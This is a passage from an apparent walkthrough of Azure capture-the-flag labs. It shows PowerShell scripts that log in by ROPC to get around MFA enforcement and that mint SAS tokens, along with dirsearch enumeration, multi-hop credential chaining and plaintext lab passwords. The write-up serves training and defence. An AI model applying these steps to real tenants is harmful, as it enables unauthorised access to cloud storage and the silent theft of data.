surfaces are accessible to this user. The connection between them was never documented as a security boundary.</em></p><p><strong>Adversarial Architect:</strong> Upload a file. Get a flag. The Logic App is a black box to the user — they see a container they can write to and a queue they can read. They don’t see the automation between them. The automation is Shadow Architecture. It exists. It does things. Nobody drew it on the architecture diagram. We found it by uploading a file and waiting three minutes.</p><h3>Logic App 11 — Blob Modify Trigger</h3><p><em>Sidebar: Logic App 11 | Modifying an existing blob triggers the Logic App — flag appears in queue</em></p><p>Same structure as Logic App 10. The trigger condition is modification of an existing blob, not upload of a new one.</p><p><strong>Lab Inputs</strong></p><pre>User Principal: ASrgkzfe554@redteamlabsus.onmicrosoft.com<br>Password:       Q9PR05EOJHiasB#A1!</pre><p><strong>Key Output</strong></p><pre>Edit the existing blob in the container → add any content → wait 2-3 minutes<br>→ Queue message appears containing flag</pre><p><strong>Signals</strong></p><ul><li>An existing blob is already in the container</li><li>Hint: “Modify it and I will show you something”</li><li>User has edit permissions on blobs</li></ul><p><strong>Action Steps</strong></p><ul><li>Portal → storage account → Containers → select container → click the existing blob → Edit</li><li>Add any content to the blob → Save</li><li>Wait 2–3 minutes</li><li>Portal → Queues → new message contains the flag</li></ul><p><strong>Pen Tester:</strong> Logic App 10 triggers on new blob. Logic App 11 triggers on blob modification. Same attack, different trigger condition. In a real engagement — try both. If uploading doesn’t work, modify. The trigger condition is the only variable. The output surface is always worth checking.</p><p><strong>Adversarial Architect:</strong> Lab 10 taught upload triggers a queue message. Lab 11 teaches modification triggers a queue message. The lesson is not the specific trigger condition. The lesson is that automation is opaque. You cannot see what a Logic App does from the outside. You can only probe it. Write to every surface you have access to and observe what appears on every surface you can read. The automation will tell you what it does. You just have to be patient and pay attention.</p><h3>Security Fundamental — Law 3: History Is the Attack Surface</h3><blockquote><strong><em>Adversarial Architect:</em></strong><em> The next set of labs is Law 3 expressed through SAS tokens and deleted blobs. A SAS token is history — a credential generated at a point in time that persists independently of the account that generated it. A soft-deleted blob is history — data that was removed but not purged, sitting in a recoverable state waiting for someone to undelete it. A connection string found via SAS URL is history — credentials distributed during initial setup, never rotated, referenced in infrastructure that has since grown around them. The attack surface is the accumulation of all the decisions that were made and never cleaned up.</em></blockquote><h3>Storage Account 12 — Generate Account SAS Token via REST API</h3><p><em>Sidebar: Storage Account 12 | Given credentials — generate a SAS token via the ARM REST API and use it to access storage</em></p><p>⚠️ <strong>Lab Status Note:</strong> This lab uses Connect-AzAccount -Credential $cred which fails under Microsoft&#39;s September 2025 MFA enforcement for ARM operations. The workaround is ROPC authentication via Invoke-RestMethod with a tenant-specific endpoint and Android User-Agent. The lab concept is correct — the authentication step is outdated.</p><p><strong>Lab Inputs</strong></p><pre>User Principal: ASdbmwtk547@redteamlabsus.onmicrosoft.com<br>Password:       w7%3eiORFjA$fsGA1!</pre><p><strong>Key Output</strong></p><pre>SAS URL generated:<br>https://asqzneyt547.blob.core.windows.net/?sv=2015-04-05&amp;ss=b&amp;srt=soc&amp;sp=rl<br>&amp;st=...&amp;se=...&amp;spr=https&amp;sig=...</pre><p><strong>Signals</strong></p><ul><li>Credentials provided — no SAS URL given, must be generated</li><li>User has permission to call ListAccountSas on the storage account</li></ul><p><strong>Action Steps</strong></p><p><em>Step 1 — Authenticate via ROPC (MFA workaround):</em></p><pre>$body = @{<br>    grant_type = &quot;password&quot;<br>    client_id  = &quot;1950a258-227b-4e31-a9cf-717495945fc2&quot;<br>    username   = &quot;ASdbmwtk547@redteamlabsus.onmicrosoft.com&quot;<br>    password   = &quot;w7%3eiORFjA`$fsGA1!&quot;<br>    scope      = &quot;https://management.azure.com/.default&quot;<br>}<br>$token = (Invoke-RestMethod `<br>    -Uri &quot;https://login.microsoftonline.com/redteamlabsus.onmicrosoft.com/oauth2/v2.0/token&quot; `<br>    -Method POST -Body $body `<br>    -ContentType &quot;application/x-www-form-urlencoded&quot; `<br>    -UserAgent &quot;Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36&quot;).access_token</pre><p><em>Step 2 — Enumerate subscription and storage account:</em></p><pre>$headers = @{ Authorization = &quot;Bearer $token&quot; }<br>$subId = (Invoke-RestMethod -Uri &quot;https://management.azure.com/subscriptions?api-version=2022-12-01&quot; -Headers $headers).value[0].subscriptionId<br>$resource = (Invoke-RestMethod -Uri &quot;https://management.azure.com/subscriptions/$subId/resources?`$filter=resourceType eq &#39;Microsoft.Storage/storageAccounts&#39;&amp;api-version=2021-04-01&quot; -Headers $headers).value[0]<br>$rgName = $resource.id.Split(&#39;/&#39;)[4]<br>$saName = $resource.name</pre><p><em>Step 3 — Generate SAS token:</em></p><pre>$start  = (Get-Date).ToUniversalTime().ToString(&quot;yyyy-MM-ddTHH:mm:ssZ&quot;)<br>$expiry = (Get-Date).AddDays(1).ToUniversalTime().ToString(&quot;yyyy-MM-ddTHH:mm:ssZ&quot;)<br>$uri = &quot;https://management.azure.com/subscriptions/$subId/resourceGroups/$rgName/providers/Microsoft.Storage/storageAccounts/$saName/ListAccountSas?api-version=2022-09-01&quot;<br>$sasBody = @&quot;<br>{<br>  &quot;signedServices&quot;: &quot;b&quot;,<br>  &quot;signedResourceTypes&quot;: &quot;soc&quot;,<br>  &quot;signedPermission&quot;: &quot;rl&quot;,<br>  &quot;signedProtocol&quot;: &quot;https&quot;,<br>  &quot;signedStart&quot;: &quot;$start&quot;,<br>  &quot;signedExpiry&quot;: &quot;$expiry&quot;,<br>  &quot;keyToSign&quot;: &quot;key1&quot;<br>}<br>&quot;@<br>$sasToken = (Invoke-RestMethod -Uri $uri -Method POST -Headers $headers -Body $sasBody -ContentType &quot;application/json&quot;).accountSasToken<br>$sasUrl = (&quot;https://$saName.blob.core.windows.net/?$sasToken&quot;).Replace(&#39;&amp;amp;&#39;, &#39;&amp;&#39;)<br>Write-Host $sasUrl</pre><p><em>Step 4 — Connect in PowerShell:</em></p><pre>$ctx = New-AzStorageContext -StorageAccountName $saName -SasToken $sasToken<br>Get-AzStorageContainer -Context $ctx<br>Get-AzStorageBlob -Container &quot;&lt;container&gt;&quot; -Context $ctx<br>Get-AzStorageBlobContent -Container &quot;&lt;container&gt;&quot; -Blob &quot;&lt;file&gt;.txt&quot; -Destination &quot;C:\azAD\&quot; -Context $ctx<br>Get-Content &quot;C:\azAD\&lt;file&gt;.txt&quot;</pre><p><em>Law 2: the </em><em>ListAccountSas endpoint exists for legitimate automation. It answers any caller with sufficient permissions. The attack is having the permissions. The API is doing its job.</em></p><p><em>Why the lab is broken: </em><em>Connect-AzAccount -Credential used legacy non-interactive auth. Microsoft enforced MFA on ARM operations September 2025. The ROPC bypass works because legacy auth is still enabled in the lab tenant at the Conditional Access level — a different enforcement path.</em></p><p><strong>Security Architect:</strong> ListAccountSas generates a SAS token signed by the account key. The token is valid until expiry regardless of what happens to the account afterward. There is no log entry in Azure Storage for SAS token generation — it&#39;s a client-side operation. The token this user just generated will continue to work until the expiry date even if the user&#39;s account is disabled tomorrow.</p><p><strong>DevOps Engineer:</strong> Even if someone generates a SAS token with these credentials, we’d see it in the logs.</p><p><strong>Adversarial Architect:</strong> You would not. Microsoft’s own documentation, published after the 2023 Wiz Research finding, states explicitly: “it’s not possible to audit the generation of SAS tokens. Any user that has privileges to generate a SAS token can do so without the knowledge of the owner of the storage account.” The generation is a client-side browser operation. It is not an Azure event. The token is not an Azure object. The researcher at Microsoft who accidentally exposed 38 terabytes set the expiry to 2051 — the token existed for three years on GitHub before Wiz found it. No internal alert. No log entry. The token this user just generated is valid until tomorrow. Nobody knows it exists. The lab broke because Microsoft closed one authentication door. The ROPC bypass worked because a different door is still open. That is Law 3. [Microsoft MSRC: <a href="https://msrc.microsoft.com/blog/2023/09/microsoft-mitigated-exposure-of-internal-information-in-a-storage-account-due-to-overly-permissive-sas-token/]">https://msrc.microsoft.com/blog/2023/09/microsoft-mitigated-exposure-of-internal-information-in-a-storage-account-due-to-overly-permissive-sas-token/]</a> [Wiz Research, September 2023: <a href="https://www.wiz.io/blog/38-terabytes-of-private-data-accidentally-exposed-by-microsoft-ai-researchers]">https://www.wiz.io/blog/38-terabytes-of-private-data-accidentally-exposed-by-microsoft-ai-researchers]</a> And the SAS token this user just generated — there is no log entry for it. Microsoft’s own investigation of the 2023 Wiz Research finding confirmed that SAS token generation is a client-side operation that creates no Azure Storage log entry. The token exists. Nobody knows it exists. It is valid until 2026. That is also the base rate.</p><p><strong>Director:</strong> The lab instructions said Connect-AzAccount. They&#39;re outdated. We found a workaround. Document it in the notes so the next person doesn&#39;t spend an hour debugging it.</p><h3>Storage Account 13 — Generate Service SAS Token</h3><p><em>Sidebar: Storage Account 13 | Credentials provided — generate a container-scoped Service SAS via REST API</em></p><p>Similar to SA12 but generates a <strong>Service SAS</strong> (container-scoped) instead of an Account SAS (all services). The key difference: ListServiceSas vs ListAccountSas, and canonicalizedResource specifies the container.</p><p><strong>Lab Inputs</strong></p><pre>User Principal: ASpgqowb547@redteamlabsus.onmicrosoft.com<br>Password:       #FCdplkigRjoPbrA1!</pre><p><strong>Key Output</strong></p><pre>serviceSasToken: sv=2015-04-05&amp;sr=c&amp;st=...&amp;se=...&amp;sp=rl&amp;sig=...</pre><p><strong>Common Pitfall — Token expiry:</strong> Run the token retrieval and API call as one uninterrupted block. Bearer tokens expire. Running other commands between retrieval and use produces InvalidAuthenticationToken.</p><p><strong>Common Pitfall — Single quotes in JSON body:</strong> The lab instructions use single-quoted JSON which PowerShell passes through literally. Use a here-string with double quotes instead:</p><pre>$body = @&quot;<br>{<br>  &quot;canonicalizedResource&quot;: &quot;/blob/$StorageAccountName/&lt;ContainerName&gt;&quot;,<br>  &quot;signedResource&quot;: &quot;c&quot;,<br>  &quot;signedPermission&quot;: &quot;rl&quot;,<br>  &quot;signedExpiry&quot;: &quot;2026-05-24T11:32:48.8457197Z&quot;<br>}<br>&quot;@</pre><p><strong>Common Pitfall — Unicode ampersands:</strong> The API returns \u0026 instead of &amp;. Fix before using:</p><pre>$sasUrl = $sasUrl.Replace(&#39;\u0026&#39;, &#39;&amp;&#39;)</pre><p><em>Law 2: </em><em>ListServiceSas exists for legitimate delegation. The attacker calls it with the compromised account. Azure validates the Bearer token, confirms permissions, and mints a signed token. No alarm. No log. The generated token is cryptographically indistinguishable from one created by a legitimate pipeline.</em></p><p><strong>Adversarial Architect:</strong> The lab instructions failed for three reasons: SecureString returned instead of plain string, single-quoted JSON body, token timing. None of these are exotic problems. All of them are documented. The lab was written by someone who tested it once on a specific Az module version and moved on. Law 3 — the documentation reflects the environment at the time it was written. The environment changed. The documentation didn’t. The fix is thirty minutes of reading error messages carefully. The real fix is writing documentation that explains why each step is necessary, not just what to type.</p><h3>Logic App 13 — Abuse Action + Storage Container Versions</h3><p><em>Sidebar: Logic App 13 | Trigger with {name} parameter — flag is in a prior version of the blob, not the current one</em></p><p>A trigger URL with {name} parameter and a container URL. The current blob has no flag. A prior version does. Blob versioning preserved it.</p><p><strong>Lab Inputs</strong></p><pre>TriggerURL:<br>https://prod-15.eastus2.logic.azure.com:443/workflows/.../triggers/manual/paths/invoke/{name}<br>?api-version=2018-07-01-preview&amp;sp=...&amp;sv=1.0&amp;sig=...</pre><pre>ContainerURL:<br>https://ascsfzlu554.blob.core.windows.net/asvuerxt554</pre><p><strong>Key Output</strong></p><pre>Storage Explorer → Manage History → Manage Versions<br>→ Prior version of blob contains flag</pre><p><strong>Signals</strong></p><ul><li>Container connects anonymously — blob visible but content appears empty or innocuous</li><li>Hint: no explicit hint — check version history</li></ul><p><strong>Action Steps</strong></p><ul><li>Connect to container anonymously in Storage Explorer</li><li>Find the blob — right-click → <strong>Manage History</strong> → <strong>Manage Versions</strong></li><li>Download a prior version — flag inside</li><li>Also: change {name} parameter in trigger URL — observe what changes in the container</li></ul><p><em>Law 3: the prior version is history made queryable. The blob was updated. The flag was in the old version. Versioning preserved it. The attack is knowing to look in the version history.</em></p><p><strong>Pen Tester:</strong> Always check Manage History → Manage Versions on any blob that seems empty or generic. Version history is separate from the current content. The flag is almost never in the obvious place. NetSPI documented the same pattern in Logic App version history — the Versions tab stores every prior workflow definition, and credentials that were hardcoded during development then removed are still visible in earlier versions. There is no way to delete a version. The history is permanent. [NetSPI: Illogical Apps — “The Versions tab contains a history of all previous definitions for the Logic App. A common phenomenon is that an application will initially have hardcoded credentials, which are later removed… but not from prior versions.”]</p><p><strong>Junior Architect:</strong> Uhhh. So the current version has no flag but a previous version does? And versioning just… keeps all of them?</p><p><strong>DevOps Engineer:</strong> We rotated the credentials in that blob weeks ago. The current version has nothing sensitive in it.</p><p><strong>Adversarial Architect:</strong> Correct. The current version has nothing sensitive. NetSPI documented this pattern directly — the Versions tab in Logic App stores every prior workflow definition, and there is no mechanism to delete a version. Credentials hardcoded during development, later removed, remain permanently visible in prior versions. The same principle applies here. Rotation without purge is relabeling, not remediation. The rotated credential is in the prior version. The prior version is queryable. The prior version is accessible to anyone with read access to the container. Blob versioning is a data protection feature. We are using it for that exact purpose — protecting the data from deletion. Law 3 — no system escapes its history. Blob versioning makes this literal. [NetSPI Illogical Apps: <a href="https://www.netspi.com/blog/technical-blog/cloud-pentesting/illogical-apps-exploring-exploiting-azure-logic-apps/]">https://www.netspi.com/blog/technical-blog/cloud-pentesting/illogical-apps-exploring-exploiting-azure-logic-apps/]</a></p><h3>Logic App 14 — Abuse Action + Storage Container Soft Delete Recovery</h3><p><em>Sidebar: Logic App 14 | Trigger with {user} parameter — flag is in a soft-deleted blob, restore it to read</em></p><p>A trigger URL with {user} parameter. A Container SAS URL. The container appears empty. A soft-deleted blob is hidden — accessible via &quot;Active and soft deleted blobs&quot; dropdown. Triggering with admin creates a deleted blob named admin. Undelete it. Flag inside.</p><p><strong>Lab Inputs</strong></p><pre>ContainerSASURL:<br>https://assnvypt554.blob.core.windows.net/asanewlv554<br>?sv=2021-06-08&amp;se=2026-10-04T...&amp;sr=c&amp;sp=rwl&amp;sig=...</pre><pre>TriggerURL:<br>https://prod-19.eastus2.logic.azure.com:443/workflows/.../triggers/manual/paths/invoke/{user}<br>?api-version=2018-07-01-preview&amp;sp=...&amp;sv=1.0&amp;sig=...</pre><p><strong>Key Output</strong></p><pre>GET .../invoke/admin?...  → no browser output<br>Storage Explorer → Active and soft deleted blobs → admin blob appears (deleted state)<br>Undelete → download → Hi admin! + flag: asfduqlm554asaktmgl554</pre><p><strong>Signals</strong></p><ul><li>Container appears empty via default “Active blobs” view</li><li>SAS permissions include sp=rwl — read, write, list</li><li>Hint: “Get deleted items”</li></ul><p><strong>Action Steps</strong></p><ul><li>Connect to container via SAS URL in Storage Explorer</li><li>Change dropdown from <strong>Active blobs</strong> to <strong>Active and soft deleted blobs</strong></li><li>Trigger URL with {user} = admin in browser</li><li>Refresh Storage Explorer — deleted blob named admin appears</li><li>Right-click → <strong>Undelete</strong> → download → read flag</li></ul><p><em>Law 3: soft delete is a data protection feature. It prevents accidental permanent deletion by retaining blobs in a recoverable state. The flag was put there intentionally. The attack is knowing soft delete exists and knowing how to surface deleted blobs in Storage Explorer.</em></p><p><strong>Security Architect:</strong> Soft delete retention period defaults to 7 days. During that window, any user with appropriate permissions can restore deleted blobs. The SAS token here has w (write) and l (list) permissions — sufficient to see deleted blobs and undelete them. The permission was granted for legitimate write access. Undelete is a side effect nobody modeled.</p><p><strong>Adversarial Architect:</strong> The hint says “Get deleted items.” The UI defaults to hiding deleted blobs. Change the dropdown. Undelete. Read the flag. This is the entire attack. The complexity is knowing the dropdown exists and that soft delete is on by default. Law 3 — the deleted blob is history. Soft delete made it queryable. The retention window is the attack surface. Seven days of it.</p><h3>Storage Account 14 — SAS URL → Service SAS Generation → Flag</h3><p><em>Sidebar: Storage Account 14 | Given a container SAS URL — find credentials inside — use them to generate a Service SAS — access the flag</em></p><p>A SAS URL is given. Inside the container: a file with Azure AD user credentials. Use the credentials to authenticate, generate a Service SAS, connect to a second container, get the flag. Credential chaining through SAS tokens.</p><p><strong>Lab Inputs</strong></p><pre>SASURL:<br>https://ascdpahr547.blob.core.windows.net/ascdpahr547<br>?sv=2021-06-08&amp;se=2026-10-03T...&amp;sr=c&amp;sp=rl&amp;sig=...</pre><p><strong>Key Output — credentials found in container</strong></p><pre>ASqixmgf547@redteamlabsus.onmicrosoft.com:vd1SEbo9nQ@ri6RA1!<br>AStbvdxp547@redteamlabsus.onmicrosoft.com:oUN4#LGVvgYWhnaA1!</pre><p><strong>Action Steps</strong></p><ul><li>Connect to container via SAS URL in Storage Explorer — download file — find credentials</li><li>Authenticate as AStbvdxp547 (use Connect-AzAccount -Credential $cred — this instance still allows it)</li><li>Enumerate containers via REST API</li><li>Generate Service SAS for the private container via ListServiceSas</li><li>Connect to private container → download flag</li></ul><p><em>Note: Use the </em><em>@&quot;...&quot;@ here-string format with double-quoted JSON. Replace </em><em>\u0026 with </em><em>&amp; in the output.</em></p><p><em>Law 3 + Shadow Architecture: credentials in a SAS-accessible container → Service SAS generation → private container access. Each hop was a rational decision at setup time. Nobody drew the chain.</em></p><p><strong>DevOps Engineer:</strong> The credentials were in the container because the deployment pipeline needed them. The container was the most accessible place to put them at the time. That was two years ago.</p><p><strong>Adversarial Architect:</strong> A SAS URL containing credentials that can generate another SAS URL. Law 3 expressed as a two-hop chain. In 2023 Samsung employees committed proprietary source code and internal credentials to public GitHub repositories — the credentials included access keys for internal Samsung infrastructure. The deployment pipeline needed them accessible. GitHub was accessible. Those two facts occupied separate mental buckets until they didn’t. The mechanism here is identical: someone needed credentials accessible to a service, put them in accessible storage, and never re-examined whether the intersection of those two access grants was acceptable. Nobody drew the map. Shadow Architecture is what happens when separate concerns accumulate without anyone looking at them together. [Samsung GitHub credential exposure, 2023]</p><h3>Storage Account 15 — SAS URL → Connection String → Flag</h3><p><em>Sidebar: Storage Account 15 | SAS URL → file contains connection string → connect to second storage account → flag</em></p><p>A SAS URL is given. The container holds a file. The file contains a connection string. The connection string accesses a different storage account with the flag.</p><p><strong>Lab Inputs</strong></p><pre>SASURL:<br>https://asyqszbg547.blob.core.windows.net/asyqszbg547<br>?sv=2021-06-08&amp;se=2026-10-03T...&amp;sr=c&amp;sp=rl&amp;sig=...</pre><p><strong>Signals</strong></p><ul><li>File content is a connection string, not human-readable data</li><li>Format: DefaultEndpointsProtocol=https;AccountName=...;AccountKey=...</li></ul><p><strong>Action Steps</strong></p><ul><li>Connect via SAS URL → download file → extract connection string</li><li>Storage Explorer → Connect → Storage account or service → Connection string (Key or SAS) → paste</li><li>Enumerate the second storage account → find flag blob → download</li></ul><p><em>Law 3: SAS URL → connection string → second storage account. The SAS URL referenced a credential for another system. Both are now accessible. The dependency was never documented.</em></p><p><strong>Pen Tester:</strong> Read everything you find. The file in the SAS-accessible container contains the credentials to the next container. Always follow the chain. Stop when it terminates. I don’t know who put the connection string there or why. I know the chain goes somewhere.</p><p><strong>Adversarial Architect:</strong> Two labs in a row where the SAS URL leads to credentials that open something else. This is not a coincidence in the labs. It is the base rate in production environments. Storage is where things get put temporarily. Connection strings, access keys, credential files — all of them go into storage because storage is accessible and familiar. The problem is that accessible and familiar is exactly what we are looking for. Law 3 — the credential was put there for a reason that made sense at the time. The reason is gone. The credential remains.</p><h3>Storage Account 35 — Multi-Hop: Dirsearch → Portal → Metadata → Queue → Lateral Movement</h3><p><em>Sidebar: Storage Account 35 | Hard | Dirsearch finds blob → credentials → portal → change container access → metadata → queue → third user → flag</em></p><p>Five hops. Three users. Four storage surfaces. One laptop. No zero-days.</p><p><strong>Lab Inputs</strong></p><pre>BlobURL:     https://asyxbumd716.blob.core.windows.net/asyxbumd716<br>WordlistURL: https://asyxbumd716.blob.core.windows.net/aszvbqkj716/to-do.txt</pre><p><strong>Full Chain</strong></p><p><em>Hop 1 — Dirsearch finds credential blob:</em></p><pre>Invoke-WebRequest -Uri &quot;&lt;WordlistURL&gt;&quot; -OutFile &quot;C:\azAD\Tools\dirsearch\labwordlist.txt&quot;<br>python dirsearch.py -u &quot;&lt;BlobURL&gt;&quot; -w &quot;C:\azAD\Tools\dirsearch\labwordlist.txt&quot;<br># → 200 - /asyxbumd716/asgpvkjm716.txt<br>Invoke-RestMethod -Uri &quot;https://asyxbumd716.blob.core.windows.net/asyxbumd716/asgpvkjm716.txt&quot;<br># → User2:Password2</pre><p><em>Hop 2 — Login as User 2, change container access to Container level:</em></p><ul><li>Portal → asyxbumd716 → Containers → <strong>asyxbumd716</strong> → checkbox → Change access level → <strong>Container</strong> → OK</li><li><em>(Key insight: container was set to Blob — which allows reading by name but not listing. Change to Container for full anonymous listing.)</em></li></ul><p><em>Hop 3 — Connect anonymously in Storage Explorer, find metadata:</em></p><ul><li>Storage Explorer → Connect → Blob container → Anonymous → <a href="https://asyxbumd716.blob.core.windows.net/asyxbumd716">https://asyxbumd716.blob.core.windows.net/asyxbumd716</a></li><li>Two blobs now visible — right-click the second blob → Properties → <strong>Metadata</strong> section</li><li>Metadata key key = ASfbdgtv716@redteamlabsus.onmicrosoft.com ← email for User 3</li></ul><p><em>Hop 4 — Read queue for User 3 password:</em></p><ul><li>Portal → asyxbumd716 → Queues → select queue</li><li>Message: Use this password: 3cMbU0OfH7JQmAjA1!</li></ul><p><em>Hop 5 — Login as User 3, find flag:</em></p><ul><li>Login as ASfbdgtv716@redteamlabsus.onmicrosoft.com / 3cMbU0OfH7JQmAjA1!</li><li>All Resources → different storage account in same resource group</li><li>Enumerate containers → find blob → flag inside</li></ul><p><strong>⚠️ Lab Provisioning Issue Documented</strong> Across multiple fresh instances, the asyxbumd716 container was provisioned with <strong>Blob</strong> access rather than <strong>Private</strong> as the lab instructions imply. The lab says &quot;we could not find any blobs available&quot; — but dirsearch finds the credential blob immediately because Blob access (not Private) was already set. The intended step is changing from Blob to Container, not from Private to Blob. Additionally, blob metadata was missing in some instances. If metadata is absent, email contact@alteredsecurity.com with the lab ID and the specific issue.</p><p><em>Laws 1, 2, 3, Shadow Architecture — all present. Dirsearch (Law 1 namespace growth), anonymous blob (Law 2 useful = exploitable), credential chaining (Law 3 history), container access change (Shadow Architecture — wrong default set at provisioning time), metadata (Law 2 — queryable store exports state), queue (Law 2 again), lateral movement (Shadow Architecture — second storage account in same resource group, same credential model).</em></p><p><strong>GRC Analyst:</strong> Multiple control gaps across five hops. Anonymous blob access. Insufficient container access controls. Sensitive data in blob metadata. Credential exposure via queue. Lateral movement via shared resource group. I will document findings in Sections 4.2 through 4.6. Severity: Critical. Remediation ownership will be assigned at the next governance meeting.</p><p><strong>Security Engineer:</strong> Five hops. Zero of them required an exploit. Every single one was a misconfigured permission or a credential in the wrong place. The fix for each individual hop is straightforward. The fix for the chain requires someone to own the entire resource group’s permission model and conduct a systematic credential audit. That’s a project, not a ticket.</p><p><strong>Pen Tester:</strong> I don’t know how long this chain existed before we found it. I know dirsearch found the first blob in three seconds. The chain probably ran from the day the lab was provisioned. In a real environment it would have run from the day the first developer set the container to Blob access and put the credential file there. Nobody was looking. The chain was waiting. The British Council left student data in an anonymous blob container for an unknown period before it was discovered — duration of exposure could not be determined because the access was anonymous and left no log trail. The exposure was only discovered because someone looked. [British Council anonymous blob exposure, 2022]</p><p><strong>Adversarial Architect:</strong> Five hops. Five misconfigurations. Five people doing their jobs. The developer who set the container access. The person who put the credentials in metadata. The person who wired the queue. The person who set up the second storage account in the same resource group. Each decision was rational in isolation. Nobody drew the graph. In September 2022 SOCRadar found six misconfigured Microsoft storage buckets containing 2.4 terabytes of data from 65,000 companies. Microsoft’s internal monitoring did not find them. An external firm running a for loop did. The buckets had been accessible for an unknown period. That is what this chain looks like at scale. Not five hops in a lab. Six buckets. 65,000 companies. An unknown duration. Discovered by someone who looked. Anderson and Moore, 2006. Vaughan, 1996. Go draw the graph before someone else does. [SOCRadar BlueBleed, September 2022: <a href="https://socradar.io/microsoft-data-breach-2-4-tb-of-sensitive-data-leaked-by-bluebleed/]">https://socradar.io/microsoft-data-breach-2-4-tb-of-sensitive-data-leaked-by-bluebleed/]</a></p><p><strong>Director:</strong> Five findings, one project. I want an owner for the credential audit, a timeline, and a scope by end of week. Not a finding. A project plan.</p><h3>Full Chain: Medium + Hard Summary</h3><p>The Medium labs establish one pattern and repeat it across every output surface:</p><ul><li><strong>Trigger URL with </strong><strong>{name} parameter</strong> → IDOR → output lands in queue (LA04), table (LA05), file share (LA06), soft-deleted blob (LA14), blob versions (LA13)</li><li><strong>Automation trigger via blob upload or modification</strong> → flag appears in queue (LA10, LA11)</li><li><strong>Credential inside accessible storage</strong> → authenticate → generate SAS → access restricted storage (SA13, SA14, SA15)</li><li><strong>Multi-hop credential chain</strong> → lateral movement (SA35)</li></ul><p>The single most important insight across all Medium labs:</p><p><strong>The output is never where you expect it.</strong> The HTTP response is empty. The flag is in the queue, the table, the file share, the prior version, the soft-deleted blob. Enumerate every surface the trigger writes to. The automation tells you what it does if you watch all the surfaces simultaneously.</p><p><strong>Adversarial Architect:</strong> Across these labs the pattern is consistent: the attack surface is not the trigger. The attack surface is everything the trigger touches. The queue. The table. The file share. The version history. The soft-deleted blob. The connection string in the container. The credentials in the metadata. The automation is a map of undocumented dependencies — every surface it writes to is a surface an attacker can read. The Medium labs are not harder than the Easy labs because the techniques are more sophisticated. They are harder because there are more surfaces to check and less obvious feedback when you check the wrong one. The adversarial architect checks all of them. That is the whole skill.</p><h3>Appendix — Tools at a Glance (Medium/Hard Additions)</h3><p><strong>Az PowerShell</strong> — authenticated, resource plane (ARM token or Connect-AzAccount)</p><pre>Connect-AzAccount -Credential $cred        # interactive or credential-based<br>Get-AzKeyVaultSecret -VaultName &lt;v&gt; -Name &lt;s&gt; -AsPlainText<br>Get-AzStorageAccount<br>(Get-AzAccessToken).Token                  # retrieve Bearer token</pre><p><strong>ListAccountSas REST API</strong> — generate account-level SAS token</p><pre>POST https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/<br>Microsoft.Storage/storageAccounts/{account}/ListAccountSas?api-version=2022-09-01<br>Body: signedServices, signedResourceTypes, signedPermission, signedStart, signedExpiry, keyToSign</pre><p><strong>ListServiceSas REST API</strong> — generate container-scoped SAS token</p><pre>POST .../ListServiceSas?api-version=2022-09-01<br>Body: canonicalizedResource (/blob/{account}/{container}), signedResource (c), signedPermission, signedExpiry<br>Fix output: $sasUrl.Replace(&#39;\u0026&#39;, &#39;&amp;&#39;)</pre><p><strong>Storage Explorer — Version History</strong></p><pre>Right-click blob → Manage History → Manage Versions</pre><p><strong>Storage Explorer — Soft Deleted Blobs</strong></p><pre>Dropdown: Active blobs (default) → Active and soft deleted blobs<br>Right-click deleted blob → Undelete</pre><p><strong>Storage Explorer — Queue Connection</strong></p><pre>Connect → Queue → Shared access signature URL (SAS) → paste Queue SAS URL<br>(NOT Blob container — Queue is a separate service type in the connect dialog)</pre><p><strong>Storage Explorer — Table Connection</strong></p><pre>Connect → Table → Shared access signature URL (SAS) → paste Table SAS URL<br>(Table SAS URL contains tn= parameter — note the .table.core.windows.net domain)</pre><p><strong>Storage Explorer — File Share Connection</strong></p><pre>Connect → Storage account or service → Shared access signature URL<br>(File SAS targets .file.core.windows.net — connect at account level not blob container)</pre><h3>References</h3><p><strong>Science</strong></p><ul><li><strong>Law 1</strong> — Prigogine (1977). Open systems accumulate complexity.</li><li><strong>Law 2</strong> — Shannon (1948). Useful channels export state. Every trigger-based attack in this document is a Shannon problem.</li><li><strong>Law 3</strong> — Simon (1962). Complex systems accumulate in irreversible layers.</li><li><strong>Hypothesis 3</strong> — Anderson &amp; Moore (2006). The person making the security decision is not the person paying the cost.</li><li><strong>Hypothesis 4</strong> — Vaughan (1996). Normalization of deviance. Each uneventful deployment made the misconfiguration feel more acceptable.</li></ul><p><strong>Tools</strong></p><ul><li><strong>MicroBurst</strong> — NetSPI. <a href="https://github.com/NetSPI/MicroBurst">github.com/NetSPI/MicroBurst</a></li><li><strong>NetSPI: Illogical Apps</strong> — Logic App run history, version history, API connection hijack. <a href="https://www.netspi.com/blog/technical-blog/cloud-pentesting/illogical-apps-exploring-exploiting-azure-logic-apps/">netspi.com/blog/technical-blog/cloud-pentesting/illogical-apps-exploring-exploiting-azure-logic-apps</a></li><li><strong>HackTricks: Azure Logic Apps</strong> — Managed identity token exfiltration via modified workflows. <a href="https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-services/az-logic-apps">cloud.hacktricks.xyz</a></li></ul><p><strong>Real Cases — Key Vault</strong></p><ul><li><strong>Datadog Security Labs, December 2024</strong> — Key Vault Contributor can modify access policies to read all secrets despite documentation stating otherwise. Microsoft classified as “by design.” <a href="https://securitylabs.datadoghq.com/articles/escalating-privileges-to-read-secrets-with-azure-key-vault-access-policies/">securitylabs.datadoghq.com/articles/escalating-privileges-to-read-secrets-with-azure-key-vault-access-policies</a></li><li><strong>Microsoft Defender for Cloud blog, April 2025</strong> — Global fintech breach via overly permissive Key Vault access policies. Contributor access → secrets extraction → Azure SQL lateral movement. <a href="https://techcommunity.microsoft.com/blog/microsoftdefendercloudblog/protecting-your-azure-key-vault-why-azure-rbac-is-critical-for-security/4407848">techcommunity.microsoft.com/blog/microsoftdefendercloudblog</a></li></ul><p><strong>Real Cases — SAS Tokens and Storage (shared with Part 1)</strong></p><ul><li><strong>Microsoft AI Research / Wiz Research, September 2023</strong>–38TB via SAS token expiring 2051, three years on GitHub, no log entry for token generation. <a href="https://msrc.microsoft.com/blog/2023/09/microsoft-mitigated-exposure-of-internal-information-in-a-storage-account-due-to-overly-permissive-sas-token/">msrc.microsoft.com/blog/2023/09/microsoft-mitigated-exposure</a></li><li><strong>SOCRadar BlueBleed, September 2022</strong> — Six misconfigured Microsoft storage buckets. 2.4TB. 65,000 companies. Found by external namespace iteration. <a 